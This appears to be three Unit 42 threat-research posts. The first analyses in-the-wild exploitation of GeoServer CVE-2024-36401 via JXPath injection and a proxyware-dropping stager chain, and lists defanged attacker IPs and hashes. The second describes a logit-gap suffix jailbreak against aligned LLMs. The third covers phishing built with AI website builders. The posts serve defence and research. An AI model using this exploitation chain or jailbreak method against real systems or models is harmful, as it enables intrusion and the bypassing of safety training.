The core of this vulnerability lies in an attacker's ability to inject arbitrary code into JXPath query statements. JXPath is a library within the Apache Commons project that offers an XPath implementation.

XPath is a widely adopted standard for querying and transforming XML documents. JXPath transparently extends the use of XPath expressions to various Java data structures beyond XML, including JavaBeans and multiple collections. From a security standpoint, this additional flexibility also introduces significant concerns.

JXPath supports extension functionality, which an attacker can exploit if they gain control over the query statement, allowing them to execute arbitrary code. This poses a greater risk than typical query injection vulnerabilities.

For instance, attackers have used Standard Extension Functions to invoke methods like getRuntime().exec().

Figure 1 shows an example of malicious code that leverages JXPath's ability to evaluate expressions, allowing an attacker to inject and execute arbitrary system commands via the #{cmd} placeholder. By referencing exec(java.lang.Runtime.getRuntime() within context.getValue, an attacker triggers Java's runtime execution mechanism, leading to remote code execution on the target system.

A line of code displayed on a dark background features a command injection vulnerability using Java Runtime to execute an unwanted command.
Figure 1. Malicious code containing a JXPath referencing a Java execution function.

Figure 2 reveals the payload from this attack. We redacted the key part of the payload in Figure 2. The redacted portion forces the victim to execute a system command to download a file from the attacker's host distribution IP addresses.

Screenshot of a computer code snippet, including tags such as GetPropertyValue and ValueReference. The background is black with green text. Some of the information is redacted.
Figure 2. Payload from an exploit found in the wild.

According to the NVD:

This vulnerability has been confirmed to be exploitable through various Web Feature Service (WFS), Web Map Service (WMS), and Web Processing Service (WPS) requests, including GetFeature, GetPropertyValue, GetMap, GetFeatureInfo, GetLegendGraphic, and Execute requests.

While analyzing an exploit used in this attack, we set up a GeoServer instance and used an in-the-wild exploit payload to analyze how the exploit works. We can see what is happening inside GeoServer by following its code flow.

After we simulated sending an attack payload, our command was passed to the function GetPropertyValue. As shown at the bottom of Figure 3, the highlighted line takes the incoming request object and passes it to a run method. The command is carried by request.valueReference.

Screenshot of code on an IDE, including a method definition within a class marked as overriding a method from an implemented service. The code includes syntax highlighting with red and blue colors.
Figure 3. Malicious payload entry point.

Stepping into this function reveals that the payload from Figure 2 was passed to the object propertyNameNoIndexes, shown from the exploit code in Figure 4. Later, this object invokes the Geotools method evaluate.

Screenshot of code in an IDE featuring syntax highlighting, displaying methods and exception handling related to attribute properties. The image shows multiple lines of code with comments and error indicators.
Figure 4. The malicious payload is sent to an unsafe Geotools method.

Note that we have entered the GeoTools codebase. The evaluate method retrieves the value of the Geotools attribute from the given object. Within this method, a PropertyAccessor object is used to read the property. Figure 5 shows that PropertyAccessor is a core interface that defines operations for reading and writing property values of an object. GeoTools will attempt to find an accessor based on the provided parameters.

Screenshot of code in an IDE program, featuring several methods and if-else statements, displayed with line numbers and syntax highlighting. The PropertyAccessors line is highlighted.
Figure 5. The malicious payload is sent to the object PropertyAccessor method findPropertyAccessors.

Once an accessor has been successfully found, it will use the object's get method to retrieve the property value. Figure 6 shows that our payload has been passed into that method via the parameter attPath.

Screenshot of a computer screen displaying code in an IDE, including functions and properties written in a programming language, with focus on a method named 'getAttributeExpression'.
Figure 6. A malicious payload is passed to attPath.

The object's get method invokes the JXPath library function iteratePointers. As shown in Figure 7, a payload is injected into the xpath variable, which is then passed to the context.iteratePointers method.

Screenshot of computer code in an Integrated Development Environment, related to HTTP requests and error handling.
Figure 7. JXPath function iteratePointers.

The ExtensionFunction has been manipulated and uses computeValue to evaluate the expression. As shown in Figure 8, the function variable now points directly to javax.lang.Runtime.exec, which is Java's standard method for running operating system commands. The parameters to be passed to this function include the attacker's command, and the highlighted line executes the command.

Screenshot of a coding interface in an IDE showing HTML and JavaScript code.
Figure 8. Malicious code execution.

Exposed Vulnerable Servers

Cortex Xpanse telemetry data from March and April 2025 revealed 7,126 publicly exposed GeoServer instances across 99 countries. The five countries where these instances are hosted the most are shown in Figure 9. The majority of the exposed servers are hosted in China.

Bar chart showing the distribution of exposed GeoServers among the top five countries. China has the highest count, above 2,500, followed by the US, Germany, Great Britain, and Singapore with significantly lower counts.
Figure 9. Exposed GeoServer distribution in the five countries where they are most commonly hosted.

Attack Chain Analysis

We have captured multiple distinct exploit strategies from this campaign. All strategies aim to deploy and run an SDK on the victim system. This analysis reviews an SDK variant we have designated as z593. Figure 10 shows that stage one leverages CVE-2024-36401 to download the second-stage payload z593 from a malicious host under the attacker’s control.

Image displaying a code snippet in XML format, related to WFS and includes references to Java Runtime executables and system paths. The visual background of the coding area is dark, with text highlighted in green, red, yellow, and white.
Figure 10. Stage 1: the initial exploit used to download the second-stage payload.

During stage two, the attacker uses CVE-2024-36401 again to execute the second-stage payload z593, as shown in Figure 11.

A screenshot displaying XML code related to a WFS with namespace URLs and a query using a Java runtime environment.
Figure 11. Stage 2: the exploit that executes the second-stage payload.

Instead of using a standard HTTP web server, the attackers deployed private instances of a file-sharing server using transfer.sh to distribute their payloads. As shown in Figure 12, the instance of transfer.sh is hosted on one of the attacker’s distribution IP addresses.

Screenshot of a website titled "Easy file sharing from the command line" displaying examples of file upload commands and a drag-and-drop area for files, with a "Learn more" button at the bottom. An IP addtess is on the top left.
Figure 12. Screenshot of the index page from a Transfer.sh server the attackers hosted on 64.226.112[.]52:8080.
The deployments noted in Figure 12 were listening on port 8080 across two IP addresses under the attackers' control:

  • 64.226.112[.]52
  • 37.187.74[.]75

If the initial exploit is successful, the script then acts as a stager, fetching two additional files, as shown in Figure 13.

Screenshot of a computer terminal displaying commands to download files using wget from specific IP addresses.
Figure 13. Content of file z593 from 64.226.112[.]52 leading to additional files.
 

The first script named in Figure 13 is z401, which is designed for stealth, creating a hidden directory and placing the main executable within it as noted in Figure 14.

A screenshot of a computer terminal displaying Unix shell commands for removing, creating, and navigating directories, along with a command to download a file using wget from a specified IP address.
Figure 14. Content of z401 from 64.226.112[.]52.
 

Figure 15 shows how the second script from Figure 13, z402, establishes the environment and then launches the main executable, passing it the app key.

Text displayed in a terminal window showing a command line interface with code involved in configuring an environment variable named 'PATH'.
Figure 15. Content of z402 from 64.226.112[.]52.
Once running, the executable operates covertly in the background, monitoring device resources and illicitly sharing the victim's bandwidth whenever possible. This generates passive income for the attacker.

The executable files from these exploit attempts are designed to interact with two legitimate services: the misused app and the misused SDK. Both services legitimately offer users a way to generate passive income by sharing the network resources of idle devices.

In this context, attackers co-opt the app or SDK functionality. Similar to how cryptocurrency miners commandeer system resources for revenue, these exploited applications also use device resources for financial gain. However, unlike malicious cryptocurrency miners, this type of app or SDK misuse is typically with a lower profile. This attracts less attention and yields smaller profits for the threat actor, which can contribute to longer, undetected operations.

Misused App Analysis

Further analysis of the binary that attackers installed on the victim’s server reveals that the attackers have been using Dart as shown in Figure 16, Dart is an open-source programming language. Two key reasons likely motivated this choice:

  • Monetization via SDK: The attackers used Dart to integrate the passive income SDK and interact with its service. This interaction is designed to ensure the generation and collection of passive income streams for the threat actor.
  • Cross-platform capability for Linux: The attackers also used Dart’s inherent portability. They leveraged this feature to compile the executable specifically for Linux system architectures to expand their potential target environments.

Adopting Dart for these purposes is noteworthy, as it may represent an attempt to potentially evade detection signatures primarily focused on languages more commonly associated with malware.

Screenshot of a computer programming interface displaying a list of code and functions primarily associated with the Dart programming language. It highlights a specific string.
Figure 16. Binary using Dart for multi-platform capability.

Misused SDK Analysis

To verify the nature of the SDK component used in this campaign, we compared the misused SDK binary employed by the threat attack and the official SDK version from the vendor’s website. Our analysis confirmed that the two files are identical. This suggests the attackers are using a legitimate, unmodified SDK, which could bypass endpoint detection.

Conclusion

This ongoing campaign showcases a significant evolution in how adversaries monetize compromised systems. The attackers' core strategy focuses on stealthy, persistent monetization rather than aggressive resource exploitation. They achieve this by deploying executables that exploit legitimate passive income services, discreetly using device resources for activities like bandwidth sharing. This approach favors long-term, low-profile revenue generation over easily detectable techniques.

To combat this threat, we highly recommend applying patches and updates when possible.

Palo Alto Networks customers are better protected against vulnerabilities and malware through the following products and services:

  • Advanced Threat Prevention can block the attacks with best practices via Threat Prevention signatures 95463. In addition, ATP includes machine learning-based protection that can detect exploit traffic in real time.
  • Advanced WildFire can stop the customized executable from being transferred.
  • Advanced URL Filtering and Advanced DNS Security are able to block known malicious URLs associated with this activity.
  • Cortex XDR and XSIAM can block the exploitation of the vulnerabilities mentioned in this article.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

IP Addresses and TCP Ports Used for the Campaign Infrastructure

  • 37.187.74[.]75:8080
  • 64.226.112[.]52:8080

Campaign Artifacts

SHA256 Hash of the File URL Contacted by the File
89f5e7d66098ae736c39eb36123adcf55851268973e6614c67e3589e73451b24 hxxp://37.187.74[.]75:8080/w1wOYGVLEX/a101
6db4b685f413a3e02113677eee10a29c7406414f7f4da611f31d13e3f595f85d hxxp://37.187.74[.]75:8080/IyxzymKCp2/a102
4e4a467abe1478240cd34a1deaef019172b7834ad57d46f89a7c6c357f066fdb hxxp://37.187.74[.]75:8080/cE58oqrYGO/a193
4e40a0df8f4ba4a87ab8fc64950c67f6725a7e8f14a0a84a4ed79b3a8924ba19 hxxp://37.187.74[.]75:8080/YDjV1ocro3/a401
663970530e764f91b0be43936331e6c0a93610db6b86c6c4b64de270ae4d4630 hxxp://37.187.74[.]75:8080/3g5eBN8nqv/a402
7c18fe9da63c86f696f9ad7b5fcc8292cac9d49973ba12050c0a3a18b7bd1cc9 hxxp://37.187.74[.]75:8080/JadF0ucQNf/a593
84ee11f40da3538e4601456912c3efa0e92a903948812fd17fe650c5f7ac33ad hxxp://37.187.74[.]75:8080/Do4YwzvAJN/alog
0971264967ba8d461ce98f86b90810493c5e22fc80bf61f0d0eb7a2599a7f77a hxxp://37.187.74[.]75:8080/DQ5ydzkPnK/c401
491f5af9d29f52a6df026159a8ebd27ee6e27151ea78c4782eb05b2c5d39bfc3 hxxp://37.187.74[.]75:8080/a8HejAHngH/c402
a852133ff7f24b14e4224e7052f6d309353b4838fe5f17d25c712d7a1dd6e80a hxxp://37.187.74[.]75:8080/vLs5vxpDgV/c593
b66c64ccd7b9c96fad53f6d3aa0441e46eca899ad8d97964573e41c94fccddba hxxp://37.187.74[.]75:8080/KaMJw2fsDW/d101
f340abe5689e51cf78b10165cb93ab8a2988d0fedd0e74c74fc23ac2dca93a13 hxxp://37.187.74[.]75:8080/TMuAS1wp8m/d102
fc28f97f818d07fd8824333de26e5a0ca0d3fe7233d86f7e227e4838cfea0ca4 hxxp://37.187.74[.]75:8080/iKA3jGXk6x/d193
7c0c69aa0dcfc937c1fef8d42c74f7e46d128898c1d99d3362f2d18397be36ae hxxp://37.187.74[.]75:8080/fK4SCflkNg/d401
33aad585d6280d1921b5f46f8894ee05d426c7751c2133ed5484bf65af587576 hxxp://37.187.74[.]75:8080/Y1WT747MRP/d402
2c5581572ec4877df8ec3e5d2b30bfff5718ecd27d8b3dbe2f393aa5821e7ddd hxxp://37.187.74[.]75:8080/H0cwXMzCrJ/d593
0e2b92991186bc8a817e0187a9b58928969350bc8d8ad7e6b6cd91c185a7e03c hxxp://37.187.74[.]75:8080/XA8Dkr1CJ4/dlog
5bc5dfeaeb43fb1e967cad028f8d2c48f5db17ee6c23c383faee74455c2f1f33 hxxp://37.187.74[.]75:8080/52F6SqfuuS/e101
8b25144ad17d023f67477be4791db45d9197d7cfb666b3a5ccc1b1c0e4bae3af hxxp://37.187.74[.]75:8080/7kS5qiHwg8/e102
8aafb9965e946e5d4be085a1373abc750a1488ff78e6e082cc36ff20ff328465 hxxp://37.187.74[.]75:8080/ei0Ul7l75J/e193
a13a07d15d94c996d8b7e8ed633073f6a3e2268a8d14363f16ad48160b85df08 hxxp://37.187.74[.]75:8080/kGQtGhOpCP/elog
cdae958629383c4dba22a115615d8a63211bbccb06335cd1c4b5e2c2aa3fee77 hxxp://37.187.74[.]75:8080/wHNOFLazdK/glog (from d401)
bbdda70f0c4a3de4ec955e134ad46895ac931e21b930837a85633277128ab7d2 hxxp://37.187.74[.]75:8080/wlLiXFNtjU/hlog (from c401)
4fd789a19db35e054a5135466d610452bea607a11b7ec765b5474847c22e637c hxxp://37.187.74[.]75:8080/gmhm4lmSLO/plog (from z401)
43b49294b778d4489c69922ff3aca27964a04e0f08bcc830108dc83261a0b205 hxxp://37.187.74[.]75:8080/QF8plwpY8Y/s401
ae706c149497c2fc809682e8827996ea3ceb7bcecddd87be7543d1dca4853470 hxxp://37.187.74[.]75:8080/zJ03zmSrz6/s402
3fd7794be80782b11a09f51ac8cbf2147e9d79303923f279d610ee45e12506eb hxxp://37.187.74[.]75:8080/22mINruojN/s593
e25d6134c6a0573ded1d340f609dd71d15934ca165ea79d47898aa37a5185415 hxxp://37.187.74[.]75:8080/3pHrSu54Pf/slog (from s401)
085da541d7555ac6afcacd5899027c3fa4132c1eccfb3d8223794c4e0e3eb361 hxxp://37.187.74[.]75:8080/vPN5rgRMTz/wlog (from a401)
2aa6f95dbe8d17e8e70db677808c96ee956c36b7cc8f274435173cfed0b1f5af hxxp://37.187.74[.]75:8080/T8VevroEJT/z401
2b176eb8afa0b089ee8fb072c68c6fdcfe4b2f034c776cc32064f26c0e6c69a3 hxxp://37.187.74[.]75:8080/uCX4Nl2Pwu/z402
915d1bb1000a8726df87e0b15bea77c5476e3ec13c8765b43781d5935f1d2609 hxxp://37.187.74[.]75:8080/3twwHaJzxo/z593
fa2687f94955fbdc2c41f1cff8c7df24937aeb942e4d7856bf2ff52ebf2e61aa hxxp://64.226.112[.]52:8080/MFTYFuqKGU/a401
663970530e764f91b0be43936331e6c0a93610db6b86c6c4b64de270ae4d4630 hxxp://64.226.112[.]52:8080/cxtpjeM3KU/a402
e0b886a39cf098a3c7daa021c7af022b0ceb6edcf3fa49e3c3b8f70b843423c2 hxxp://64.226.112[.]52:8080/XEQS3MTzdS/a593
9515df36a6d16c0a9fcca680d6b181539d80efd4cda85dacbfb30127a7f11736 hxxp://64.226.112[.]52:8080/fAFUQgw7Py/c401
491f5af9d29f52a6df026159a8ebd27ee6e27151ea78c4782eb05b2c5d39bfc3 hxxp://64.226.112[.]52:8080/0rX20C97S6/c402
b381e8355cf3a432e63064897cc7719e8b9c38e91c6151cd1e7aed4cd219a75b hxxp://64.226.112[.]52:8080/LuoHgydq6F/c593
dec84a568b6393ccd863bb38851a76f54de6f59193660e4b88aa1f941b744469 hxxp://64.226.112[.]52:8080/g1Gl1JWEUw/d401
33aad585d6280d1921b5f46f8894ee05d426c7751c2133ed5484bf65af587576 hxxp://64.226.112[.]52:8080/AORGz7zIzn/d402
7620f22a5ed1a8ac2a1da732e55e14a13197b631e5abba6431f88e5cfa3ae2de hxxp://64.226.112[.]52:8080/rKS64mUmF7/d593
3d7ac752bb0d54802f2def38f44e10854f70ab5a9a001b5c39ab0531b9ed74bf hxxp://64.226.112[.]52:8080/vbbdG8dpAw/s401
ae706c149497c2fc809682e8827996ea3ceb7bcecddd87be7543d1dca4853470 hxxp://64.226.112[.]52:8080/W7lJoMcuOu/s402
6dd6751bae92dfa504f0ad5558ab8adfdfba3df5a7f218245627574bfac39f11 hxxp://64.226.112[.]52:8080/6mXfFz7ltE/s593
357ca4ad31132ad4bd605e3217968819b04d577884a4e9dd760ed0182c4609ed hxxp://64.226.112[.]52:8080/YbEYCqCFVl/z401
2b176eb8afa0b089ee8fb072c68c6fdcfe4b2f034c776cc32064f26c0e6c69a3 hxxp://64.226.112[.]52:8080/1Vt9KBLEFr/z402
97c8ec63766ce63b8ace283928922cfceb7c8f3bc72edcbd255e157a1afb15fe hxxp://64.226.112[.]52:8080/09KvYAUSHm/z593

Additional Resources

Updated August 21 at 5:45 a.m. P.T. to add additional Cortex XDR and XSIAM coverage information.

Logit-Gap Steering: A New Frontier in Understanding and Probing LLM Safety

Posted on by Ria Bhatia

Introducing a New Angle on LLM Safety

Many publications have discussed the issues with tricking LLMs into responding to harmful requests. Our most recent academic research offers a new way to think about these issues, and it speaks to how defenders could improve LLM safety as well. The key is to consider some fundamental qualities of how safety features are built into LLM models.

LLMs are designed to refuse harmful queries through "alignment" training, a process that aims to make refusal responses far more likely than affirmative ones for unsafe prompts. A technical aspect of this process is the use of “logits,” the raw scores an LLM assigns to potential next words. Alignment training introduces refusal tokens that prevent the model from responding to harmful requests. Part of the training is to adjust the logits so they favor refusal tokens when they should.

Our Research: Logit-Gap Steering and Its Impact

Our research introduces a critical concept: the refusal-affirmation logit gap. This refers to the idea that the training process isn’t actually eliminating the potential for a harmful response – it’s just making it less likely. There remains potential for an attacker to “close the gap,” and uncover a harmful response after all.

Our academic research paper, “Logit-Gap Steering: Efficient Short-Path Suffix Jailbreaks for Aligned Large Language Models,” explores how this process would work, and how efficient it could be for attackers. Our approaches not only showcased strong jailbreak efficacy on classic open-sourced LLMs such as Qwen, LLama, and Gemma, but also worked effectively on the most recent open-sourced model from OpenAI, gpt-oss-20b, with outstanding attack success rate (>75%). The paper was posted before the release of gpt-oss-20b.

This forcefully demonstrates that relying solely on an LLM's internal alignment to prevent toxic or harmful content is an insufficient strategy. The inherent, mathematical nature of the logit gap means that determined adversaries can, and will, find ways to bypass these internal guardrails. True AI safety demands a defense-in-depth strategy, incorporating additional, external protections and content filters for a truly robust security posture.

While the paper details the process and efficacy of the approach, it also provides tools for deeper analysis. In particular, it helps conceive of how safety alignment truly operates and steps out of specifics into a model that considers the fundamental principles of alignment training – and therefore inherent issues that need to be solved. It also provides security researchers and LLM users with a quantifiable metric to evaluate and strengthen the alignment and safety of deployed models.

Building a Stronger Future for AI Safety

We hope logit-gap steering will serve both as a baseline for future jailbreak research and as a diagnostic tool for designing more robust safety architectures. We’re sharing this research to empower the entire AI and security community. By understanding these fundamental mechanisms, we can collectively develop more robust alignment techniques, refine evaluation benchmarks and ultimately build more secure AI systems. We urge researchers to delve into the full paper on arXiv (2406.11717) and contribute to our shared mission of securing an AI-driven future.

Unit 42’s AI Security Assessment can help organizations reduce AI adoption risk, secure AI innovation and strengthen AI governance. Palo Alto Networks’ PRISMA AIRS Runtime Security product offers the most comprehensive protection for your AI innovations and deployments.

Additional Resources

Fashionable Phishing Bait: GenAI on the Hook

Posted on by Samantha Stallings

Executive Summary

The rapid expansion of generative AI (GenAI) has led to a diverse set of web-based platforms offering capabilities such as code assistance, natural language generation, chatbot interaction and automated website creation. This article uses insights from our telemetry to show trends in how the GenAI web is evolving.

Because of its growing prevalence, GenAI also opens new vectors for threat actors to misuse. Adversaries are increasingly leveraging GenAI platforms to create realistic phishing content, clone trusted brands and automate large-scale deployment using services like low-code site builders. The threats are getting harder to detect.

We examine specific misuse scenarios including AI-generated phishing pages and malicious chatbots. We also provide indicators of these activities to support detection and response efforts.

Palo Alto Networks customers are better protected from the threats described in this article by the following products and services:

Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics GenAI, Phishing

Increase in the Use of GenAI

Introduction to Web-Based AI Services

GenAI has fueled a surge of new websites and platforms, from conversational assistants to multi-media creation tools. As the ecosystem evolves, we identify emerging patterns in how people are adopting different categories of AI services.

Writing assistants, meeting tools, code generators and website builders are streamlining tasks that previously demanded substantial manual effort, signaling a shift in how work is created and delivered across domains.These AI tools streamline workflows, reduce manual effort and enable new forms of content creation.

We are observing a significant upward trend in GenAI adoption across industries, particularly following the surge of public interest and innovation in the AI space. Within just six months, AI use has more than doubled and continues to grow steadily, as shown in Figure 1.

The blue line represents the number of AI website visits in billions, from April 2024-April 2025. The red bars indicate the number of new websites hosting AI services detected in millions. This overall trend of increased traffic to AI websites indicates a growing adoption of GenAI applications and services.

Bar chart and line graph showing new AI host launches in millions and AI website visits in billions from 2024-04 to 2025-04. Host launches visualized by red bars and website visits by a blue line. Palo Alto Networks and Unit 42 logo lockup.
Figure 1. Month-over-month trends in AI website traffic and growth from April 2024 to April 2025.

AI Service Trends and Industry Focus

We discuss how people are adopting AI-specific capabilities so we can better predict how those various functions can introduce new risks. A further review of our telemetry reveals:

  • The top industries leading AI adoption include:
    • High tech
    • Education
    • Telecommunications
    • Professional and legal services
  • The high tech sector dominates AI use, accounting for over 70% of total GenAI tool use shown in Figure 2
  • Most of this activity is concentrated in text-generation applications (such as writing assistants and AI chatbots) and media-generation tools, as shown in Figure 3
  • About 16% of AI service use is dedicated to data processing and workflow automation, such as email campaign generation

Pie chart showing sector distribution for AI services. 'High Tech' sector dominates at 74.0%, followed by 'Other' at 3.3%, 'State and local government' at less than 1%, 'Manufacturing' at 1.50%, 'Wholesale & Retail' at 1.2%, 'Professional & Legal Services' at 3.1%, and 'Telecommunications' at 5.6%. 'Education' is at 9.1%. Palo Alto Networks and Unit 42 logo lockup.
Figure 3. Distribution of AI categories across all industries.

Pie chart showing the distribution of tasks managed by AI technologies. Segments include Media Generator at 24.5%, AI Data and Workflow at 15.8%, Chatbot at 13.2%, Code Assistant at 2.5%, Meeting Assistant at 1.3%, Website Generator at 4.3%, AI Platform & Service at 6.6%, and Writing Assistant at 31.8%. Palo Alto Networks and Unit 42 logo lockup.
Figure 3. Distribution of AI categories across all industries.

Overview of Phishing Attacks Misusing Various Types of AI Services

While GenAI tools offer powerful capabilities, they also introduce significant risks that threat actors can exploit for phishing and other types of cyberattacks.

  • AI code assistants can significantly enhance software development. They provide real-time coding suggestions, automate code generation and can reduce errors. However, they can inadvertently expose proprietary code or sensitive intellectual property, creating entry points for targeted attacks.
  • Text generation tools — such as conversational, writing and meeting assistants — can enhance productivity, content creation and customer interaction. However, attackers can manipulate them to generate convincing phishing content, spread misinformation or leak confidential data.
  • AI model services simplify deployment, training and inference. However, they can expose sensitive models or data to unauthorized access. This increases the risk of model hijacking or misuse in malicious workflows.
  • Attackers can use multi-media AI tools — including media generators and website builders — to rapidly create realistic-looking but fraudulent websites, deepfake content and deceptive phishing pages to mimic trusted brands.
  • AI-powered data platforms and workflow automation tools optimize business processes, improve efficiency and support informed decision-making. When loosely governed, they can become vectors for data leakage, unauthorized access and automated exploitation across integrated systems.

Collectively, these risks underscore the potential of GenAI to amplify phishing campaigns and other social engineering threats. Therefore, stronger safeguards and threat detection are necessary.

Figure 4 shows the top three AI services misused for phishing include:

  • Website generators (approximately 40%)
  • Writing assistants (approximately 30%)
  • Chatbots (almost 11%)

Pie chart showing the distribution of AI services misused for phishing attacks. 'Website generator' leads with 40.4%, followed by 'Writing assistant' at 29.6%, 'Chatbot' at 10.5%, 'Media generator' at 8.4%, 'AI platform and service' at 4.1%, 'Meeting assistant' at 3.5%, 'AI data and workflow' at 3.2%, and 'Code assistant' with 0.3%. Palo Alto Networks and Unit 42 logo lockup.
Figure 4. Distribution of categories of AI services misused for phishing attacks.

Misuse of Website Generation Services

Although these services are relatively new, attackers are already misusing AI-powered website builders for real-world phishing attacks.

We observed phishing websites that threat actors created using a popular AI-powered website builder, which is capable of producing websites within seconds. This platform allows someone to enter a prompt that can build and publish websites without any email or phone verification. The site uses AI to generate images and text based on this prompt, for creating a website.

We detected two real-world examples of AI-generated phishing landing pages in May 2025. Both of these phishing pages, shown in Figures 5 and 6, link to attacker-owned credential-stealing sites.

Promotional webpage featuring a "FREE COUPON" to unlock a 12-month Standard Plan at 100% off, with a button labeled 'Show Coupon Code' followed by another button that says 'Click here'. The background includes a blurred image of shapes in red and black.
Figure 5. Screenshot of the phishing page seen in May 2025.

Screenshot of a website's 'Gift Card' promotional page showing three blurred images of cards with text overlays that promote different shopping benefits. The navigation menu includes options for Home, About, Products, and Contact.
Figure 6. Screenshot of the phishing page seen in May 2025.

Some of the AI-assisted website builders we investigated appear to lack guardrails that would prevent someone from impersonating an existing business or organization. As a test, we used a known AI-assisted website builder to create a fake page to appear as if it’s for Palo Alto Networks.

The website builder only required a valid email address (not necessarily a Palo Alto Networks email address) to establish a trial account and publish a page impersonating our company. Since these pages are intended to quickly establish a web presence for a new company or organization, they lack the design elements that criminals would otherwise use to spoof a targeted brand.

In our test, the website builder promised to generate a free AI website in 60 seconds, which is an accurate statement. Our only input was a brief description of the company for an initial text prompt. Figure 7 shows a brief description of Palo Alto Networks we typed in the initial prompt before clicking on the “Enhance Prompt” button.

Website builder using AI. Generate a free AI website in 60 seconds. Below is a prompt window with the input "Palo Alto Networks is a leading cybersecurity company that has next generation firewalls and other security solutions. A giant cursor is about to select the Enhance Prompt button.
Figure 7. A brief description of our company in a prompt from the AI-assisted website builder.

The Enhance Prompt button took our initial input and created a complete AI prompt for the page, as shown below in Figure 8. The finished prompt included an AI-generated paragraph about the company, a default design style that can easily be modified and a list of content to include on the site.

Screenshot of a webpage with text describing Palo Alto Networks' commitment to innovation and cybersecurity, featuring a section on business/project name alongside company's mission and services. Cursor is hovering over the up arrow on the right.
Figure 8. The enhanced prompt from the AI-assisted website builder.

We then clicked on the arrow button noted in Figure 8, and the builder took approximately 5-10 seconds to create a staging environment for the site. From a hastily typed initial prompt of “Palo Alto Networks is a leading cybersecurity company that has next-generation firewalls and other security solutions,” the resulting page Figure 9 shows looks plausible for a cybersecurity company.

A professional at a workstation with multiple screens displaying data, on the fake and AI-generated Palo Alto Networks website, with text that reads "Cybersecurity redefined - Protect your assets with confidence" and a "View Services" button.
Figure 9. Index page generated by the AI-assisted website builder.

Scrolling through the index page generated by the site builder, we found a convincing AI-generated description of our company, as shown in Figure 10.

Fake AI-generated homepage of Palo Alto Networks website featuring a professional in front of digital screens, with text about leading cybersecurity solutions.
Figure 10. Company description in a page generated by the AI-assisted website builder.

The index page included links to different pages that contain descriptions of next-generation firewalls, cloud security solutions and threat intelligence services. Figure 11 shows a link from the index page for threat intelligence services and the resulting page from that link. Like the company description, the description of these services mimics what most people would expect from an established cybersecurity company.

Screenshot collage of fake AI-generated Palo Alto Networks website featuring sections on cloud security, threat intelligence, and advanced threat protection services with images of network security operations and descriptive text about cybersecurity solutions.
Figure 11. Threat intelligence services page generated by the AI-assisted website builder.

The website builder includes a button to publish the site. Pushing this button generated the dialogue window shown in Figure 12.

A screenshot of a website editor interface from the fake AI-generated Palo Alto Networks, showing a pop-up window titled "Publish website." The pop-up prompts the user to add a custom domain with pricing information and subscription plans. Buttons for "View plans," "Cancel," and "Publish" are visible.
Figure 12. Dialogue window to publish the site from our test.

While we did not publish this fake Palo Alto Networks site, cybercriminals have misused this builder to publish phishing pages mimicking other brands, such as the two real-world examples we previously referenced.

Attackers can replicate similar attack vectors on other website builder platforms since many of these platforms have recently added AI-assisted features. Figure 13 shows an example of a fake gift card site spoofing popular vendors created through a popular website builder.

Promotional website banner for gift card scam website saying 'Joy in Every Card' featuring the 'Explore' button and an image of a hand holding a glowing card. Below are displayed various card offerings including Store Credit, Discount Voucher, Gift Card, and Subscription Credit with listed prices.
Figure 13. Webpage for discounted gift cards generated on another popular AI-powered website builder.

Currently, the real-world phishing attacks seen on AI-powered website builders appear relatively rudimentary and might not deceive most potential victims. However, in the medium to long term, we expect that these attacks will become more convincing as AI-powered website builders grow more powerful.

Misuse of Writing Assistant Services

In addition to website builders, we identified multiple real-world phishing URLs generated and hosted on third-party AI writing assistant platforms. In all these cases, the attacker used the app to host a phishing page. The phishing page displays a generic message like “You have new documents — click the button to view.” Clicking the button leads the victim to a secondary credential-stealing site, such as a fake Microsoft login page.

Despite being hosted on platforms that offer AI-powered content generation, these phishing pages are quite simple and show no clear signs of AI involvement (see Figures 14 and 15). This type of activity is similar to what we’ve seen in software as service (SaaS) platform misuse campaigns, such as phishing pages hosted on presentation builders or other legitimate content-sharing tools.

Screenshot of a digital document sharing interface titled "SECURE BUSINESS DOCUMENTS. Features include a link to "VIEW PDF ONLINE" and additional sections for login, author details, and an activation reminder for Windows.
Figure 14. Screenshot of a phishing page created on an SEO assistant platform.

Screenshot of document sharing service with a PDF document ready to be shared. There is a button labeled "VIEW DOCUMENT," followed by a signature from someone purported to be "Kim Cromidas" with some information redacted for security reasons.
Figure 15. Screenshot of the phishing page created on a sales assistant platform.

While attackers might leverage the AI functionality of these platforms in more powerful ways in the future, they are currently using these platforms primarily as a hosting service for malicious content.

Conclusion

In this article, we discussed web-based GenAI services and reviewed phishing attacks that misused them. We investigated examples of phishing pages from AI-powered website builders, and explored how criminals can use these builders to create phishing content more easily. Criminals have also misused AI-powered writing assistant services, but these platforms have been used primarily as a hosting service for malicious content with no clear signs of AI involvement.

Our telemetry reflects the growing adoption of GenAI applications and services, and we expect a corresponding increase in attacks that take advantage of GenAI as time passes.

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Acknowledgments

Thanks to Peng Peng for his research into malicious chatbots, as well as Alex Starov and Jun Javier Wang for their suggestions.

Appendix

Additional screenshots of GenAI-related phishing pages we found in the wild are shown in Figures 16-22.

Website header displaying a "Free Coupon" banner, featuring images of a wooden table with European currency notes beside a box with pine cones, with text encouraging to "Unlock your savings today!"
Figure 16. An additional screenshot of the phishing site from Figure 5.

Background of densely arranged pages, possibly documents or forms, with an overlay text saying "SECURE DOCUMENT" and a button labeled "VIEW DOCUMENT".
